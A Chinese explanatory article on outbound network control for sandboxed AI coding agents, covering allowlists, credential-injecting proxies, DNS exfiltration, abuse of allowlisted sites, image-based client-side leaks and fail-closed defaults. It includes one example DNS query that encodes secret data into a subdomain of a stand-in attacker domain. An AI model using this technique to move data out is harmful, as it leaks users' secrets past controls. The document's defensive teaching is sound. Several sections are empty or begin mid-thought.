网络出口控制：Agent 能连到哪里

全文分三层：

1. 通俗理解：大楼只开一个出口，门口有保安
2. 实际用处：企业网络、云端执行环境、AI Agent 的实践
3. 原理与工程要点：白名单 vs 黑名单、代理、DNS 外泄、"合法网站"的滥用

第一层：通俗理解

1.1 只开一个出口

一栋大楼如果有一百个出口，每个都要派人看着，迟早会漏。更好的办法是：只开一个出口，门口有保安检查，只有名单上的人和货物能出去。

网络也一样：

• 入站控制（谁能连进来）是大家熟悉的防火墙；
• 出站控制（里面的程序能连到哪里）常常被忽视，但对防止数据外泄至关重要。

1.2 "禁止联网"比"禁止访问某网站"简单得多

第二层：实际用处

• 企业网络：高安全环境中，服务器只能通过出站代理访问互联网，而且只能访问业务需要的地址。这能阻止恶意软件连回控制服务器，也能阻止数据外泄。
• 云端代码执行环境：许多 AI 产品的代码执行功能默认完全不能联网，或者只能通过一个受控代理访问有限的软件包仓库。
• AI 编程 Agent：常见做法是允许访问代码托管、软件包仓库（npm、PyPI）、文档站点，其余一律拒绝，或每次新域名都要用户批准。
• 数据防泄漏（DLP）系统：企业在出口处检查流量内容，拦截含有敏感数据（身份证号、密钥格式）的请求。

第三层：原理与工程要点

3.1 实现方式

代理方案还有一个好处：可以由代理注入凭证。沙箱里的 Agent 看不到真正的 API 密钥，代理在转发请求时自动加上（见《凭证泄露与上下文窗口》）。

3.2 DNS 外泄

即使所有 HTTP 流量都被拦住，如果沙箱还能做DNS 查询，数据仍能泄露：

把数据编码进子域名，查询：
  6d7920736563726574.攻击者域名.com
攻击者控制这个域名的 DNS 服务器，从查询日志里就能读出数据。

DNS 查询通常会经过多层递归解析器，最终到达攻击者的服务器，防火墙未必拦截。

对策：沙箱只能使用受控的 DNS 解析器；解析器只解析白名单域名；或者只允许代理做 DNS 解析，沙箱本身不做。

3.3 白名单里的"合法网站"也能被滥用

白名单通常包含代码托管、文档、软件包仓库等网站。问题是这些网站本身允许用户上传内容：

对策：

• 路径级而不只是域名级的规则，比如只允许下载（GET）软件包，不允许上传；
• 沙箱里的凭证只有只读权限，或者只能推送到指定的仓库；
• 对写操作（POST、PUT、推送）单独审查或要求人工确认。

3.4 别忘了"客户端出口"

Agent 的输出最终会显示在用户的浏览器或终端里。如果输出中包含会被自动加载的外部资源（图片、iframe），这些请求是从用户的浏览器发出的，完全绕过了沙箱的出口控制（见《Markdown图片数据外泄》）。所以出口控制要两头都管：沙箱的出口，和渲染端的 CSP。

3.5 默认拒绝

代理不可用、名单加载失败时，应该拒绝所有流量，而不是放行（见《Fail-closed》）。每一次被拒绝的请求都记录下来：被注入的 Agent 尝试连接陌生地址，本身就是很有价值的告警信号。

总结